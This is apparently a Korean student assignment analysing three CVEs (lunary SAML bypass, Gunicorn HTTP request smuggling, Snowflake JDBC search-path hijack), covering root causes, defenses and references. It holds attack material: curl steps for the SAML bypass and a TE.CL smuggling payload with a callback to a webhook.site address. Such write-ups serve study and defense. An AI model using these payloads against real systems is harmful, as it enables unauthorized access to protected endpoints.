

최신 웹 보안 동향 과제

Improper Access Control on SAML Configuration in lunary-ai/lunary - CVE-2024-7475

- 내용 요약

lunary-ai/lunary 1.3.2 버전의 취약점으로 공격자가 허가 없이 SAML 구성을 업데이트 할 수 있도록 한다. 이 취약점은 가짜 SAML 요청을 만들어 허가되지 않은 사용자에게 접근할 수 있다. 즉, 인증 프로세스 조작과 사기성 로그인 요청 및 사용자 정보 도난으로 이어질 수 있다는 것이다. 적절한 액세스 제어를 구현해서 SAML 구성을 권한이 있는 사용자만 업데이트 할 수 있도록 해야한다.

- 취약점 근본 원인

```
route.post("/acs", async (ctx: Context) => {
  const { orgId } = ctx.params as { orgId: string }

  const idp = await getOrgIdp(orgId)
  const sp = await getOrgSp(orgId)

  const parsedResult = await sp.parseLoginResponse(idp, "post", ctx.request)

  const { attributes, conditions, nameID } = parsedResult.extract

  if (!attributes) {
    ctx.throw(400, "No attributes found")
  }

  if (conditions?.notBefore && conditions.notOnOrAfter) {
    const notBefore = new Date(conditions.notBefore)
    const notOnOrAfter = new Date(conditions.notOnOrAfter)
    const now = new Date()

    if (now < notBefore || now > notOnOrAfter) {
      ctx.throw(400, "Invalid SAML response")
    }
  }

  const { email, name } = parseAttributes(attributes, nameID)

  const singleUseToken = await generateOneTimeToken()

  const [account] =
    await sql`update account set ${sql`{ name, singleUseToken, lastLoginAt: new Date() }`} where email = ${email}`
```

```

if (!account) {
  ctx.throw(
    400,
    "Account not found. Please ask your administrator to invite you.",
  )
}

// Redirect with an one-time token that can be exchanged for an auth token
ctx.redirect(`${process.env.APP_URL!}/login?ott=${singleUseToken}`)
})

route.post("/slo", async (ctx: Context) => {
  // const { orgId } = ctx.params as { orgId: string }
  ctx.body = "SAML SLO"
})

```

→ sp.parseLoginResponse 함수를 호출해서 응답을 파싱하는데, 응답 서명이나 발행자 검증을 수행하는 부분이 없다.(SAML 응답 위조 및 인증 우회 가능)

→ 시간 조건에 관한 검증과 서명 검증이 제대로 되지 않아서 이전에 획득한 SAML 응답을 재사용 할 수 있다.(Replay attack에 취약)

- 취약점을 찾는 방법(공격 방법)

```

# Update saml configuration
curl http://localhost:3333/auth/saml/<org_id>/download-idp-xml -X POST -d '<%3fxml+version%3d"1.0"+encoding

# This request will return a redirect url, log in with this url.
curl http://localhost:3333/auth/method -X POST -d "email=test@foo.bar"

# Log in by adding Saml response data to the request
curl "http://localhost:3333/auth/saml/<org_id>/acs" -X POST -d 'SAMLResponse=<data>'

```

→ SAML IDP 메타 데이터를 설정해, 서버가 SAML 설정을 갱신하도록 했다.

→ 사용자 이메일로 인증 URL을 요청함으로써, 서버가 리다이렉트 URL을 반환하도록 했다.

→ SAML response 데이터를 추가한 것으로 서버가 사용자 인증을 완료하고 로그인 처리한다.

- 공격의 파급도

CVSS 점수 9.1로, 가짜 SAML 요청을 만들어 허가되지 않은 사용자에게 접근할 수 있는만큼, 이 취약점의 파급도는 상당할 것으로 예상된다.

- 방어 방법

1. 유효 시간을 이용하여 검증을 강화한다.

→ 응답이 실제로 유효한 시간 내에서만 처리되도록 수정하였다.

```

// 유효시간 검증
if (!conditions || !conditions.notBefore || !conditions.notOnOrAfter) {
  ctx.throw(400, "SAML response missing required time conditions");
}

const notBefore = new Date(conditions.notBefore);

```

```
const notOnOrAfter = new Date(conditions.notOnOrAfter);
const now = new Date();
```

2. 필수 속성 존재 여부를 확인한다

→ SAML 응답 내에 필수 속성이 존재하지 않으면 요청을 중단하고 에러를 반환하도록 하여, 위조된 응답 처리가 불가능하도록 만들었다.

```
if (!attributes || Object.keys(attributes).length === 0) {
  ctx.throw(400, "No attributes found in SAML response");
}
```

3. 계정 유무 및 업데이트 보완

→ 데이터 베이스에서 계정이 실제 존재하는지 확인하도록 보완하였다.

```
const accounts = await sql`select * from account where email = ${email} and org_id = ${orgId}`;
if (!accounts || accounts.length === 0) {
  ctx.throw(400, "Account not found. Please ask your administrator to invite you.");
}
```

• 찾은 방법(참조 문헌)

1. 우선, 정해진 기한에 맞춰 뉴스를 검색했다

<https://www.dailysecu.com/news/articleView.html?idxno=160665>

2. SAML과 관련된 CVE-2024-7475에 대한 추가 정보를 얻기 위해 구글에 검색하였다.

https://www.google.com/search?q=CVE-2024-7475&og=cve-&gs_lcrp=EgZjaHJvbWUqBggAEEUYOzIGCAAQRrg7MgkIARBFGDKYgAQyBwgCEAAyAQyBwgDEAAyAQyBwg8

3. 여기서 서칭된 다양한 자료들을 확인하고, 취합해 정리하였다.

a. 취약했던 코드 부분

```
https://github.com/lunary-ai/lunary/blob/e7c660c094b81be4a34309987fb0227a77076fdc/packages/backend/src/api/v1/auth/saml.ts#L145-L190
```

b. 패치 내용

```
https://github.com/lunary-ai/lunary/commit/8f563c77d8614a72980113f530c7a9ec15a5f8d5
```

c. 익스플로잇

<https://huntr.com/bounties/78c824f7-3b6d-443d-bb76-0f8031c6c126>

d. CVSS 점수 확인

<https://www.cisa.gov/news-events/bulletins/sb24-309>

e. 기타 참고 사이트

<https://www.cve.org/CVERecord?id=CVE-2024-7475>

<https://nvd.nist.gov/vuln/detail/CVE-2024-7475>

f. 코드 해석에 관해서 LLM을 참고하였다.

HTTP Request Smuggling in Gunicorn in benoitc/gunicorn - CVE-2024-6827

- 내용 요약

Gunicorn (WSGI HTTP 서버) 21.2.0 버전에서 Transfer-Encoding 헤더의 값을 검증할 때, RFC 표준을 따르지 않는 취약점이 있었다. 이것으로, Transfer-Encoding 헤더가 조작되거나 잘못되어도, Content-Length 방식으로 요청을 처리하게 되었고 결국 시스템을 TE.CL Request Smuggling에 취약하게 만들었다.

- 취약점의 근본 원인

'Transfer-Encoding' 헤더의 값을 RFC 표준에 따른 검증을 제대로 진행하지 않아 기본 fallback 방식인 'Content-Length'가 사용되었고, 이로 인해 TE.CL Request Smuggling에 취약해졌다.

- 취약점을 찾는 방법(공격 방법)

[예시 코드]

```
// app.py
from flask import Flask, render_template, request, redirect, Response
import requests

app = Flask(__name__)

@app.before_request
def handle_chunking():
    request.environ["wsgi.input_terminated"] = True

@app.route("/admin")
def reached():
    print("welcome Admin")
    return "Welcome Admin"

@app.route("/", methods=["GET", "POST"])
def get():
    return "HELLO NON-SMUGGLER"

if __name__ == "__main__":
    app.run(port=8000)
```

[requirements.txt]

```
gunicorn==21.2.0
flask==3.0.0
gevent==23.9.1
```

[Exploit]

```
POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip
```

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

- Content-Length: 6이기 때문에 Unicorn은 본문에서 6바이트만 읽는다.
- RFC 기준에 따르면 Transfer-Encoding이 우선이지만, 값이 'chunked'가 아닌 chunked,gzip이기 때문에 이 헤더를 무시하고 Content-Length를 사용한다.
- 73(첫 6바이트)는 첫 번째 요청의 본문으로 처리되고, Smuggle된 두 번째 요청이 남게 되어 백엔드에서 처리된다.
- 프론트엔드 서버는 admin 경로를 접근할 수 없지만, 백엔드에서 처리하게 되면서 admin 경로에 접근할 수 있게 되었다.

- 공격의 파급도

CVSS 점수 7.5점으로 높은 수준이며, 이 취약점으로 데이터 노출, 세션 조작, SSRF, XSS, DoS 등의 취약점으로도 이어질 수 있으므로 아주 높다고 볼 수 있다.

- 방어 방법

우선 일단 패치를 진행했다고 하니, Unicorn을 23.0.0 이상 버전으로 패치를 진행하는 것이 현실적인 방법이 될 것인데, 아마 근본적인 원인을 해결하기 위해 RFC 표준에 따라 검증할 수 있도록 코드를 적용했을 것이다.

- 찾은 방법(참조 문헌)

- a. [cve.org](https://www.cve.org/CVERecord/SearchResults?query=HTTP+Request+Smuggling) 페이지에서, HTTP Request Smuggling CVE에 대해서 찾아보았다.
<https://www.cve.org/CVERecord/SearchResults?query=HTTP+Request+Smuggling>
- b. 여러 가지 목록 중에서, CVE 등록 날짜와 CVSS 점수, 참고할 수 있는 레퍼런스들을 비교하여 선택하였다.
- c. 익스플로잇
<http://huntr.com/bounties/1b4f8f38-39da-44b6-9f98-f618639d0dd7>
- d. 기타 참고 사이트
<https://www.cve.org/CVERecord?id=CVE-2024-6827>
<https://velog.io/@ggydo59/gnuicorn-gunicorn%EC%9D%B4%EB%9E%80-%EC%99%9C-%ED%95%84%EC%9A%94%ED%95%A0%EA%B9%8C>
<https://vulert.com/vuln-db/py-pi-gunicorn-186485>
<https://nvd.nist.gov/vuln/detail/CVE-2024-6827>
<https://github.com/benoitc/gunicorn/issues/3278>
- e. 코드 해석에 관해서 LLM을 참고하였다.

Snowflake JDBC Allows An Untrusted Search Path On Windows - CVE-2025-24789

- 내용 요약

Snowflake JDBC 드라이버는 Java 프로그램이 데이터 베이스와 연결할 수 있도록 한다. 여기에서 (3.2.3 ~ 3.21.0) EXTERNALBROWSER 인증 방식을 윈도우에서 사용하면, 공격자가 Path 환경 변수 내의 폴더에 쓰기 권한이 있다면, 권한 상승 공격이 가능한 취약점이 발견 되었다.

- 취약점의 근본 원인

```
if (!URLUtil.isValidURL(ssoUrl)) {
    throw new SFException(
        ErrorCode.INVALID_CONNECTION_URL, "Invalid SSOUrl found - " + ssoUrl);
}
if (java.awt.Desktop.isDesktopSupported()) {
    URI uri = new URI(ssoUrl);
    java.awt.Desktop.getDesktop().browse(uri);
}
```

```
Runtime runtime = Runtime.getRuntime();
Constants.OS os = Constants.getOS();
if (os == Constants.OS.MAC) {
    runtime.exec("open " + ssoUrl);
} else {
    // linux?
    runtime.exec("xdg-open " + ssoUrl);
}
```

→ Desktop API를 지원하는지 확인하고, macOS가 아닌 경우 xdg-open을 호출했다.

- 취약점을 찾는 방법(공격 방법)

xdg-open은 기본 Windows 설치에 없는 Linux 프로그램이기 때문에 충분한 권한이 있는 공격자는 %PATH% 디렉토리 중 하나에 악성 실행 파일을 배치하고 JDBC 드라이버를 실행하는 사용자에게 로컬 권한 상승을 달성할 수 있다.

- 공격의 파급도

CVSS 점수 7.8점으로 높은 수준이며, 이 취약점은 로컬 권한 상승을 통해서 사실상 시스템 전체에 영향을 미칠 수 있으므로, 굉장히 높은 파급도를 가진다고 볼 수 있다.

- 방어 방법을 요약

```
if (!URLUtil.isValidURL(ssoUrl)) {
    throw new SFException(ErrorCode.INVALID_CONNECTION_URL, "Invalid SSOUrl found - " + ssoUrl);
}
```

```
Runtime runtime = Runtime.getRuntime();
Constants.OS os = Constants.getOS();
if (Desktop.isDesktopSupported()
    && Desktop.getDesktop().isSupported(Desktop.Action.BROWSE)) {
    Desktop.getDesktop().browse(new URI(ssoUrl));
} else if (os == Constants.OS.MAC) {
    runtime.exec("open " + ssoUrl);
} else if (os == Constants.OS.WINDOWS) {
    runtime.exec(new String[] { "rundll32", "url.dll,FileProtocolHandler", ssoUrl });
}
```

```
runtime.exec("xdg-open " + ssoUrl);
```

→ Desktop.getDesktop().isSupported(Desktop.Action.BROWSE)까지 확인하여 단순히 Desktop 지원뿐만 아니라 안전하게 브라우저를 열 수 있는지 판단한다.

→ 이제 윈도우 환경인 경우는 rundll32를 이용해서 url.dll, FileProtocolHandler로 URL을 연다.

→ MacOS, 윈도우를 제외한 OS의 경우에만 xdg-open을 호출하도록 했다.

→ 새로운 버전이 나왔으니, 빠르게 패치하도록 한다.

- 찾은 방법(참고 문헌)

a. cve.org에서 JDBC에 관한 CVE를 찾아보았다.

<https://www.cve.org/CVERecord/SearchResults?query=JDBC>

b. 여러 가지 목록 중에서, CVE 등록 날짜와 CVSS 점수, 참고할 수 있는 레퍼런스를 비교하여 선택하였다.

c. 문제 세부 정보 및 익스플로잇

<https://github.com/snowflakedb/snowflake-jdbc/security/advisories/GHSA-7hpg-3g6w-pvfh>

d. 패치된 코드

<https://github.com/snowflakedb/snowflake-jdbc/commit/4f01bb8f9b708c71e7a211c87371dbfc1d53dd6#diff-63a9c44a44acf85fea213a857769990937107cf072831e1a26808cfde9d096b9R1>

e. 기타 참고 사이트

<https://stackoverflow.com/questions/67409650/snowflake-jdbc-driver-internal-error-fail-to-retrieve-row-count-for-first-arrow>

<https://nvd.nist.gov/vuln/detail/CVE-2025-24789>

<https://github.com/snowflakedb/snowflake-jdbc/security/advisories/GHSA-7hpg-3g6w-pvfh>

<https://docs.snowflake.com/en/developer-guide/jdbc/jdbc-parameters>

f. 코드 해석에 관해서 LLM을 참고하였다.